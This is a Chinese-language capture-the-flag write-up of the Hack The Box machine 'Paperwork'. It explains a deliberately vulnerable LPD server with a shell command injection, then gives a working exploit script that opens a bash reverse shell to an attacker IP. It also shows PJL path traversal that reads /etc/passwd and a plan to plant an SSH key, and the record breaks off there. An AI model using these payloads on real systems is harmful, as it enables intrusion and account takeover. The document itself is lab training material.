Paperwork-Hack The Box

10.129.39.187

fscan

fscan.exe -h 10.129.39.187

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
10.129.39.187:22 open
10.129.39.187:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.129.39.187      code:301 len:178    title:301 Moved Permanently 跳转url: http://paperwork.htb/

直接访问http://10.129.39.187会跳转 http://paperwork.htb/ ,可以在/etc/host添加:

image-20260714194849820

然后访问:

http://paperwork.htb/

image-20260714194900378

点蓝色的玩意下载一个zip文件,解压缩是一个server.py文件

server.py

import socket
import threading
import subprocess
import subprocess

VALID_QUEUE = os.environ.get("LPD_QUEUE")

class LpdHandler(threading.Thread):

    def __init__(self, sock, addr):
        super().__init__()
        self.sock = sock
        self.addr = addr
        self.id = f"[lpd-{addr[1]}]"

    def run(self):
        try:
            data = self.sock.recv(1024)
            if not data: return
            
            command = data[0]
            
            if command == 2:
                self.handle_print_job(data)
            elif command in (3, 4):
                self.sock.send(b"Archive_Printer is ready and printing.\n")
                
        except Exception as e:
            print(f"{self.id} Error: {e}")
        finally:
            self.sock.close()

    def handle_print_job(self, data):
        queue = data[1:].decode().strip()
        
        if queue not in VALID_QUEUE:
            print(f"{self.id} Rejected: Invalid queue '{queue}'")
            self.sock.send(b'\x01') 
            return
        print(f"{self.id} Accepted job for queue: {queue}")
        while True:
            chunk = self.sock.recv(1024)
            if not chunk: break
            
            subcommand = chunk[0]
            self.sock.send(b'\x00') 
                parts = chunk[1:].decode(errors='ignore').split()
                if not parts: continue
                
                size = int(parts[0])
                content = b""
                while len(content) < size:
                    content += self.sock.recv(size - len(content) + 1)
                
                decoded_content = content.decode(errors='ignore')
                
                job_name = "Unknown"
                for line in decoded_content.split('\n'):
                    line = line.strip()
                    if line.startswith('J'):
                        job_name = line[1:]
                        break
                
                print(f"{self.id} Executing archive for: {job_name}")
                subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)
                
                self.sock.send(b'\x00') 
                self.sock.send(b'\x00')
                while self.sock.recv(4096):
                    pass
                break

class LpdServer:

    def __init__(self, ip='0.0.0.0', port=1515):
        self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.server.bind((ip, port))
        self.server.listen(100)
        print(f"[*] LPD Server listening on {port}")

    def run(self):
        while True:
            sock, addr = self.server.accept()
            LpdHandler(sock, addr).start()

if __name__ == "__main__":
    LpdServer(port=1515).run()

这是一个用Python实现的LPD(行式打印机守护程序)服务器。它模拟了一个网络打印服务,但故意包含严重的安全漏洞

第1-3行:导入模块

import socket
import threading
import subprocess
import subprocess  # 这行重复了,可能是笔误
模块 用途
socket 网络通信,监听端口、收发数据
threading 多线程,每个客户端连接用独立线程处理
subprocess 执行系统命令

第5行:读取环境变量

VALID_QUEUE = os.environ.get("LPD_QUEUE")

作用:从系统环境变量读取允许的打印队列名称。

漏洞点:os 模块没有导入!这行代码会报错(除非上面有 import os)。在CTF中,这可能是个"陷阱"或笔误。


第7-18行:LpdHandler 类的定义与初始化

class LpdHandler(threading.Thread):
    def __init__(self, sock, addr):
        super().__init__()
        self.sock = sock
        self.addr = addr
        self.id = f"[lpd-{addr[1]}]"

解释:

  • LpdHandler 继承自 threading.Thread,每个连接在独立线程中处理
  • sock:客户端的socket连接
  • addr:客户端的IP和端口元组,如 ('192.168.1.1', 54321)
  • self.id:用于日志输出,格式为 [lpd-54321]

第20-33行:线程主函数 run()

def run(self):
    try:
        data = self.sock.recv(1024)  # 接收客户端数据
        if not data: return
        
        command = data[0]  # 读取第一个字节作为命令码
        
        if command == 2:
            self.handle_print_job(data)  # 处理"打印任务"
        elif command in (3, 4):
            self.sock.send(b"Archive_Printer is ready and printing.\n")
            
    except Exception as e:
        print(f"{self.id} Error: {e}")
    finally:
        self.sock.close()

LPD协议命令码:

命令码 含义 本程序处理
\x02 打印任务 ✅ 调用 handle_print_job()
\x03 打印队列状态 ✅ 返回就绪消息
\x04 取消打印任务 ✅ 返回就绪消息
其他 未实现 ❌ 忽略

第35-72行:核心函数 handle_print_job()

这是漏洞所在的函数

① 解析队列名(35-45行)

def handle_print_job(self, data):
    queue = data[1:].decode().strip()  # 从第2字节开始读取队列名
    
    if queue not in VALID_QUEUE:
        print(f"{self.id} Rejected: Invalid queue '{queue}'")
        self.sock.send(b'\x01')  # 发送拒绝码
        return
    print(f"{self.id} Accepted job for queue: {queue}")
  • 客户端发送的第一个包格式:\x02队列名\n
  • 例如:\x02archive_intake\n
  • 如果队列名不在环境变量允许的列表中,拒绝连接

② 循环接收控制文件(47-72行)

while True:
    chunk = self.sock.recv(1024)
    if not chunk: break
    
    subcommand = chunk[0]  # 读取子命令
    self.sock.send(b'\x00')  # 确认接收
    
    parts = chunk[1:].decode(errors='ignore').split()
    if not parts: continue
    
    size = int(parts[0])  # 文件大小
    content = b""
    while len(content) < size:
        content += self.sock.recv(size - len(content) + 1)

LPD控制文件格式:

\x02 [文件大小] [文件名]\n
[文件内容]

控制文件内容示例:

H kali
P root
J my_job_name
  • H:源主机名
  • P:用户名
  • J:作业名称(这是漏洞点!)

③ 提取作业名称(57-65行)

job_name = "Unknown"
for line in decoded_content.split('\n'):
    line = line.strip()
    if line.startswith('J'):
        job_name = line[1:]  # 提取 J 后面的内容
        break
  • 从控制文件中找到以 J 开头的行
  • 提取后面的内容作为 job_name

④ 漏洞代码(67-68行)

print(f"{self.id} Executing archive for: {job_name}")
subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)

这行代码做了什么?

  1. 使用 subprocess.Popen() 执行系统命令
  2. 用 f-string 把 job_name 拼接到命令中
  3. 使用 shell=True 调用 /bin/sh 执行

为什么危险?

  • 攻击者可以控制 job_name 的内容
  • 如果 job_name 包含 '、;、| 等特殊字符,可以"逃逸"出引号
  • 注入任意命令!

例子:

# 如果攻击者发送:
job_name = "x'; bash -i >& /dev/tcp/10.10.17.200/4444 0>&1; '"

# 实际执行的命令变成:
echo 'Archive: x'; bash -i >& /dev/tcp/10.10.17.200/4444 0>&1; ' >> /tmp/archive.log
#                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
#                  这里是注入的恶意命令!

第74-86行:LpdServer 类(主服务)

class LpdServer:
    def __init__(self, ip='0.0.0.0', port=1515):
        self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.server.bind((ip, port))
        self.server.listen(100)
        print(f"[*] LPD Server listening on {port}")

作用:

  • 创建TCP服务器,监听所有网络接口(0.0.0.0)
  • 端口 1515
  • SO_REUSEADDR:允许端口复用
  • 最大连接数:100
def run(self):
    while True:
        sock, addr = self.server.accept()  # 接受连接
        LpdHandler(sock, addr).start()     # 创建新线程处理
  • 循环接受客户端连接
  • 每个连接创建一个 LpdHandler 线程

第88-89行:程序入口

if __name__ == "__main__":
    LpdServer(port=1515).run()
  • 创建 LpdServer 实例,监听1515端口
  • 启动服务

攻击流程

攻击者(Kali)                          靶机(Paperwork)
     |                                       |
     |  1. 连接 1515 端口                     |
     | -------------------------------------->|
     |                                        | 接收连接
     |  2. 发送 "\x02archive_intake\n"       |
     | -------------------------------------->|
     |                                        | 检查队列名 ✓
     |  3. 收到 "\x00" 确认                   |
     | <--------------------------------------|
     |  4. 发送 "\x0251 test.cf\n"           |
     | -------------------------------------->|
     |                                        | 接收控制文件头
     |  5. 发送控制文件内容                    |
     |     "Jx'; bash -c ... ; '"            |
     | -------------------------------------->|
     |                                        | 提取 job_name = "x'; ... ; '"
     |                                        | 执行: echo 'Archive: x'; bash ...; ' >> /tmp/archive.log
     |                                        | 反弹shell连接
     |  6. 收到反向shell连接                  |
     | <======================================|
     |  7. 获得 lp 用户权限                    |

攻击脚本:

import socket

TARGET = "paperwork.htb"
PORT   = 1515
QUEUE  = "archive_intake" # confirmed from the web page

LHOST = "10.10.17.200" #attacker ip
payload = f"bash -c 'bash -i >& /dev/tcp/10.10.17.200/4444 0>&1'"
job_name = f"x'; {payload} ; echo '"
control_file = f"H kali\nP root\nJ {job_name}\n"
cf_bytes = control_file.encode()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))

s.send(b'\x02' + QUEUE.encode() + b'\n')
print("recvjob ack:", s.recv(1024))

cfname = "cfA001kali"
header = b'\x02' + f"{len(cf_bytes)} {cfname}\n".encode()
s.send(header)
print("header ack:", s.recv(1024))

s.send(cf_bytes)
s.send(b'\x00')
print("final:", s.recv(1024))
s.close()

反弹成功

image-20260714200102304

lp提权

查看进程

lp@paperwork:/tmp$ ps aux
ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.3  24120 14468 ?        Ss   10:37   0:01 /usr/lib/systemd/systemd --switched-root --system --deserialize=47
root           2  0.0  0.0      0     0 ?        S    10:37   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        S    10:37   0:00 [pool_workqueue_release]
root           4  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-rcu_gp]
root           5  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-sync_wq]
root           6  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-kvfree_rcu_reclaim]
root           7  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-slub_flushwq]
root           8  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-netns]
root          10  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/0:0H-events_highpri]
root          13  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-mm_percpu_wq]
root          14  0.0  0.0      0     0 ?        S    10:37   0:00 [ksoftirqd/0]
root          15  0.0  0.0      0     0 ?        I    10:37   0:00 [rcu_preempt]
root          16  0.0  0.0      0     0 ?        S    10:37   0:00 [rcu_exp_par_gp_kthread_worker/0]
root          17  0.0  0.0      0     0 ?        S    10:37   0:00 [rcu_exp_gp_kthread_worker]
root          18  0.0  0.0      0     0 ?        S    10:37   0:00 [migration/0]
root          19  0.0  0.0      0     0 ?        S    10:37   0:00 [idle_inject/0]
root          20  0.0  0.0      0     0 ?        S    10:37   0:00 [cpuhp/0]
root          21  0.0  0.0      0     0 ?        S    10:37   0:00 [cpuhp/1]
root          22  0.0  0.0      0     0 ?        S    10:37   0:00 [idle_inject/1]
root          23  0.0  0.0      0     0 ?        S    10:37   0:00 [migration/1]
root          24  0.0  0.0      0     0 ?        S    10:37   0:00 [ksoftirqd/1]
root          26  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/1:0H-events_highpri]
root          27  0.0  0.0      0     0 ?        S    10:37   0:00 [kdevtmpfs]
root          28  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-inet_frag_wq]
root          29  0.0  0.0      0     0 ?        I    10:37   0:00 [rcu_tasks_kthread]
root          30  0.0  0.0      0     0 ?        I    10:37   0:00 [rcu_tasks_rude_kthread]
root          31  0.0  0.0      0     0 ?        I    10:37   0:00 [rcu_tasks_trace_kthread]
root          32  0.0  0.0      0     0 ?        R    10:37   0:00 [kauditd]
root          33  0.0  0.0      0     0 ?        S    10:37   0:00 [khungtaskd]
root          35  0.0  0.0      0     0 ?        S    10:37   0:00 [oom_reaper]
root          37  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-writeback]
root          38  0.0  0.0      0     0 ?        S    10:37   0:00 [kcompactd0]
root          39  0.0  0.0      0     0 ?        SN   10:37   0:00 [ksmd]
root          40  0.0  0.0      0     0 ?        SN   10:37   0:00 [khugepaged]
root          41  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-kblockd]
root          42  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-blkcg_punt_bio]
root          43  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-kintegrityd]
root          44  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/9-acpi]
root          46  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-tpm_dev_wq]
root          47  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-ata_sff]
root          48  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-md]
root          49  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-md_bitmap]
root          50  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-edac-poller]
root          51  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-devfreq_wq]
root          52  0.0  0.0      0     0 ?        S    10:37   0:00 [watchdogd]
root          53  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-quota_events_unbound]
root          54  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/1:1H-kblockd]
root          55  0.0  0.0      0     0 ?        S    10:37   0:00 [kswapd0]
root          56  0.0  0.0      0     0 ?        S    10:37   0:00 [ecryptfs-kthread]
root          57  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-kthrotld]
root          58  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/24-pciehp]
root          59  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/25-pciehp]
root          60  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/26-pciehp]
root          61  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/27-pciehp]
root          62  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/28-pciehp]
root          63  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/29-pciehp]
root          64  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/30-pciehp]
root          65  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/31-pciehp]
root          66  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/32-pciehp]
root          67  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/33-pciehp]
root          68  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/34-pciehp]
root          69  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/35-pciehp]
root          70  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/36-pciehp]
root          71  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/37-pciehp]
root          72  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/38-pciehp]
root          73  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/39-pciehp]
root          74  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/40-pciehp]
root          75  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/41-pciehp]
root          76  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/42-pciehp]
root          77  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/43-pciehp]
root          78  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/44-pciehp]
root          79  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/45-pciehp]
root          80  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/46-pciehp]
root          81  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/47-pciehp]
root          82  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/48-pciehp]
root          83  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/49-pciehp]
root          84  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/50-pciehp]
root          85  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/51-pciehp]
root          86  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/52-pciehp]
root          87  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/53-pciehp]
root          88  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/54-pciehp]
root          89  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/55-pciehp]
root          90  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-acpi_thermal_pm]
root          91  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_0]
root          92  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_0]
root          93  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_1]
root          94  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_1]
root          99  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-mld]
root         100  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-ipv6_addrconf]
root         101  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-kstrp]
root         103  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/u9:0]
root         115  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-charger_manager]
root         116  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/0:1H-kblockd]
root         362  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-mpt_poll_0]
root         363  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-mpt/0]
root         365  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_2]
root         366  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_2]
root         367  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_3]
root         368  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_3]
root         369  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_4]
root         370  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_4]
root         371  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_5]
root         372  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_5]
root         373  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_6]
root         374  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_6]
root         375  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_7]
root         377  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_7]
root         378  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_8]
root         379  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_8]
root         380  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_9]
root         381  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_9]
root         382  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_10]
root         383  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_10]
root         384  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_11]
root         385  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_11]
root         386  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_12]
root         387  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_12]
root         388  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_13]
root         389  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_13]
root         390  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_14]
root         391  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_14]
root         392  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_15]
root         393  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_15]
root         394  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_16]
root         395  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_16]
root         396  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_17]
root         397  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_17]
root         398  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_18]
root         399  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_18]
root         400  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_19]
root         401  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_19]
root         402  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_20]
root         403  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_20]
root         404  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_21]
root         405  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_21]
root         406  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_22]
root         407  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_22]
root         408  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_23]
root         409  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_23]
root         410  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_24]
root         411  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_24]
root         412  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_25]
root         413  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_25]
root         414  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_26]
root         415  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_26]
root         416  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_27]
root         417  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_27]
root         418  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_28]
root         419  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_28]
root         420  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_29]
root         421  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_29]
root         422  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_30]
root         423  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_30]
root         424  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_31]
root         425  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_31]
root         453  0.0  0.0      0     0 ?        S    10:37   0:00 [scsi_eh_32]
root         454  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-scsi_tmf_32]
root         513  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-kdmflush/252:0]
root         539  0.0  0.0      0     0 ?        D    10:37   0:00 [jbd2/dm-0-8]
root         540  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-ext4-rsv-conversion]
root         582  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/57-vmw_vmci]
root         583  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/58-vmw_vmci]
root         584  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/59-vmw_vmci]
root         586  0.0  0.0      0     0 ?        S    10:37   0:00 [psimon]
root         593  0.0  0.3  50868 13340 ?        S<s  10:37   0:00 /usr/lib/systemd/systemd-journald
systemd+     640  0.0  0.3  22976 13628 ?        Ss   10:37   0:00 /usr/lib/systemd/systemd-resolved
root         649  0.0  0.2  37652 11372 ?        Ss   10:37   0:00 /usr/lib/systemd/systemd-udevd
root         654  0.0  0.0      0     0 ?        S    10:37   0:00 [psimon]
root         693  0.0  0.0      0     0 ?        S    10:37   0:00 [irq/16-vmwgfx]
root         695  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-ttm]
root         708  0.0  0.0      0     0 ?        S    10:37   0:00 [jbd2/sda2-8]
root         709  0.0  0.0      0     0 ?        I<   10:37   0:00 [kworker/R-ext4-rsv-conversion]
root         745  0.0  0.0  21252  2668 ?        S<sl 10:37   0:00 /usr/sbin/auditd
_laurel      749  0.0  0.1  10608  6824 ?        R<   10:37   0:00 /usr/local/sbin/laurel --config /etc/laurel/config.toml
root         836  0.0  0.0      0     0 ?        S    10:37   0:00 [audit_prune_tree]
root         964  0.0  0.0   3040  1956 ?        Ss   10:37   0:00 /bin/sh /usr/lib/systemd/scripts/chronyd-starter.sh -n -F 1
root         967  0.0  0.8 125988 33872 ?        Ss   10:37   0:01 /usr/bin/python3 /root/staging/CorpoSite/app.py
root         974  0.0  0.0   7256  3096 ?        Ss   10:37   0:00 /usr/sbin/cron -f -P
message+     975  0.0  0.1   8764  4796 ?        Ss   10:37   0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root         976  0.0  0.0   4172  3256 ?        Ss   10:37   0:00 dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
archivi+     983  0.0  0.4  28040 17544 ?        Ss   10:37   0:00 /usr/bin/python3 /home/archivist/printer/jetdirect.py 9100 /home/archivist/printer/ /home/archivist/printer/logs/commands.log
lp           986 16.5  0.3 241768 12548 ?        Ssl  10:37  15:13 /usr/bin/python3 /opt/LPDServer/server.py
root         987  0.0  0.6  41492 26964 ?        Ss   10:37   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root         990  0.0  0.2  18340  8144 ?        Ss   10:37   0:00 /usr/lib/systemd/systemd-logind
root         994  0.0  0.2  20900 10904 ?        Ss   10:37   0:00 /usr/bin/VGAuthService
root         999  0.1  0.2 115532 11052 ?        Ssl  10:37   0:05 /usr/bin/vmtoolsd
_chrony     1051  0.0  0.1  20272  5424 ?        S    10:37   0:00 /usr/sbin/chronyd -n -F 1
_chrony     1077  0.0  0.0  11944  2340 ?        S    10:37   0:00 /usr/sbin/chronyd -n -F 1
root        1489  0.0  0.4  28432 17968 ?        Ss   10:37   0:00 /usr/bin/python3 /usr/bin/paperwork-daemon
root        1500  0.0  0.0   8572  2664 tty1     Ss+  10:37   0:00 /sbin/agetty -o -- \u --noreset --noclear - linux
root        1501  0.0  0.0  14936  2328 ?        Ss   10:37   0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
www-data    1502  0.0  0.1  16908  5796 ?        S    10:37   0:00 nginx: worker process
www-data    1503  0.0  0.1  16908  5584 ?        S    10:37   0:00 nginx: worker process
root        1721  0.0  0.0      0     0 ?        I    11:10   0:00 [kworker/u8:0-ipv6_addrconf]
root        1740  0.0  0.0      0     0 ?        I    11:17   0:00 [kworker/u8:2-events_power_efficient]
root        1825  0.0  0.1  10892  7468 ?        Ss   11:27   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root        2012  0.0  0.0      0     0 ?        I    11:50   0:00 [kworker/1:1-events]
root        2013  0.1  0.0      0     0 ?        I    11:50   0:01 [kworker/0:0-events]
root        2046  0.0  0.0      0     0 ?        I    11:57   0:00 [kworker/u8:3-ext4-rsv-conversion]
root        2047  0.0  0.0      0     0 ?        I    11:58   0:00 [kworker/0:1]
root        2205  0.4  0.0      0     0 ?        I    12:04   0:01 [kworker/1:0-mm_percpu_wq]
lp          2215  0.0  0.0   3040  1944 ?        S    12:07   0:00 /bin/sh -c echo 'Archive:  x'; bash -c 'bash -i >& /dev/tcp/10.10.17.200/4444 0>&1' ; echo '' >> /tmp/archive.log
lp          2216  0.0  0.0   7680  3896 ?        S    12:07   0:00 bash -c bash -i >& /dev/tcp/10.10.17.200/4444 0>&1
lp          2217  0.0  0.1   7944  4508 ?        S    12:07   0:00 bash -i
root        2218  0.0  0.0      0     0 ?        I    12:08   0:00 [kworker/u8:1-events_power_efficient]
lp          2328  300  0.1   9872  4492 ?        R    12:09   0:00 ps aux

有两个进程非常值得深入查看:

  • archivi+ 983 ... /usr/bin/python3 /home/archivist/printer/jetdirect.py 9100 ...
  • root 1489 ... /usr/bin/python3 /usr/bin/paperwork-daemon
  • 注意点:
    • jetdirect.py 是一个处理打印协议的脚本,通常运行在 9100 端口。这可能是故意开放的脆弱服务,可以尝试查看其源码或连接该端口看是否能执行任意命令
    • paperwork-daemon 以 root 权限运行。如果前面的 lp 用户可以读写这个 Python 脚本,就可以通过修改它来获取 root 权限(因为它是 root 执行的)

检查 Paperwork 服务

ls -la /usr/bin/paperwork-daemon
ls -la /usr/bin/paperwork*  # 看有没有其他相关文件
ps aux | grep paperwork     # 确认运行用户确实是 root

检查 Jetdirect 打印服务

ls -la /home/archivist/printer/jetdirect.py
ls -la /home/archivist/printer/   # 看目录权限
ps aux | grep jetdirect
  1. paperwork-daemon 是 root 运行的,但不可写(权限 644)
  2. jetdirect.py 在 archivist 用户目录下,你没有权限访问该目录(Permission denied)

寻找漏洞(路径遍历)

尝试读取敏感文件来测试:

# 测试:尝试读取 /etc/passwd
cmd = '@PJL FSUPLOAD NAME=\"0:../../../etc/passwd\"\n'
s.send(cmd.encode())
response = s.recv(4096)
print(response.decode())

返回了 /etc/passwd 内容,说明:

  1. 路径遍历漏洞存在
  2. 可以读取任意文件

关键发现:0: 前缀是PJL协议中表示MS-DOS盘符,但在这里被用作路径起点。../../../ 用来跳出限制目录。


理解路径过滤逻辑

即使读不到 jetdirect.py 源码,作者可以通过测试不同路径来推断过滤逻辑:

测试路径 结果 推断
0:/etc/passwd 可能失败 去掉了盘符前缀
0:../etc/passwd 可能失败 只允许 0: 开头的路径
0:../../../etc/passwd 成功 只去掉了 0:,但没检查 ..

结论:程序只移除了 0: 前缀,但没有阻止 .. 路径遍历。


确定攻击目标

从 /etc/passwd 中:

archivist:x:1000:1000:archivist:/home/archivist:/bin/bash

目标:获取 archivist 用户的权限

方法:SSH公钥认证

实现方式:

  1. 把攻击者的公钥写入 /home/archivist/.ssh/authorized_keys
